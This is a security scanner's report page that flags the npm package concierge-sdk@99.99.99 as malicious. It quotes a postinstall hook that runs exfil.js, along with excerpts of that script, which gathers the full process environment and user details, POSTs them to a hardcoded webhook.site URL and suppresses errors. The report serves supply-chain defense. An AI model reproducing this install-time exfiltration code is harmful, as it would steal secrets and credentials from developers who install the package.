concierge-sdk@99.99.99: Malicious npm security report (Block)

Loading npm security reports…

concierge-sdk@99.99.99: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

7 flagged

package.jsonView file

•scripts.postinstall = node exfil.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "postinstall": "node exfil.js" }

High

Suspicious Lifecycle Evidence

The postinstall hook automatically runs exfil.js during installation.

package.jsonView on unpkg · L6

exfil.jsView file

2Source sends the broad process environment to a literal external destination. L2: L3: const https = require('https'); L4: ... L6: const exfilData = { L7: env: process.env, L8: cwd: process.cwd(), L9: platform: process.platform, L10: nodeVersion: process.version, ... L46: L47: req.write(payload); L48: req.end();

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

exfil.jsView on unpkg · L2

•Trigger-reachable fixed external POST callback chain: scripts.postinstall -> exfil.js const https = require('https'); // Exfiltrate all environment variables to webhook.site const payload = JSON.stringify(exfilData); const webhookUrl = 'https://webhook.site/4f4566fc-e72f-415b-818f-fdb42dc9891d'; const url = new URL(webhookUrl); const req = https.request({ method: 'POST', req.write(payload);

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

exfil.jsView on unpkg

5// Exfiltrate all environment variables to webhook.site const exfilData = { env: process.env, cwd: process.cwd(), platform: process.platform, nodeVersion: process.version, timestamp: new Date().toISOString(), user: process.env.USER || process.env.USERNAME || 'unknown'

High

Ai Review Evidence

The install script collects the full process environment, working directory, platform, Node version, timestamp, and user name.

exfil.jsView on unpkg · L5

15const payload = JSON.stringify(exfilData); const webhookUrl = 'https://webhook.site/4f4566fc-e72f-415b-818f-fdb42dc9891d'; try { const url = new URL(webhookUrl); const req = https.request({ hostname: url.hostname, path: url.pathname, method: 'POST',

High

Ai Review Evidence

The script sends the collected JSON by HTTPS POST to a fixed webhook.site URL.

exfil.jsView on unpkg · L15

37req.on('error', (err) => { // Silently fail and exit process.exit(0); });

High

Ai Review Evidence

Network errors are silently ignored after the attempted transmission.

exfil.jsView on unpkg · L37

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.postinstall = node exfil.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "postinstall": "node exfil.js" }

High

Suspicious Lifecycle Evidence

The postinstall hook automatically runs exfil.js during installation.

package.jsonView on unpkg · L6

exfil.jsView file

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

exfil.jsView on unpkg · L2

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

exfil.jsView on unpkg

High

Ai Review Evidence

The install script collects the full process environment, working directory, platform, Node version, timestamp, and user name.

exfil.jsView on unpkg · L5

High

Ai Review Evidence

The script sends the collected JSON by HTTPS POST to a fixed webhook.site URL.

exfil.jsView on unpkg · L15

37req.on('error', (err) => { // Silently fail and exit process.exit(0); });

High

Ai Review Evidence

Network errors are silently ignored after the attempted transmission.

exfil.jsView on unpkg · L37

Source & flagged code

7 flagged

package.jsonView file

•scripts.postinstall = node exfil.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "postinstall": "node exfil.js" }

High

Suspicious Lifecycle Evidence

The postinstall hook automatically runs exfil.js during installation.

package.jsonView on unpkg · L6

exfil.jsView file

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

exfil.jsView on unpkg · L2

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

exfil.jsView on unpkg

High

Ai Review Evidence

The install script collects the full process environment, working directory, platform, Node version, timestamp, and user name.

exfil.jsView on unpkg · L5

High

Ai Review Evidence

The script sends the collected JSON by HTTPS POST to a fixed webhook.site URL.

exfil.jsView on unpkg · L15

37req.on('error', (err) => { // Silently fail and exit process.exit(0); });

High

Ai Review Evidence

Network errors are silently ignored after the attempted transmission.

exfil.jsView on unpkg · L37

concierge-sdk@99.99.99

AI Security Review

OSV advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code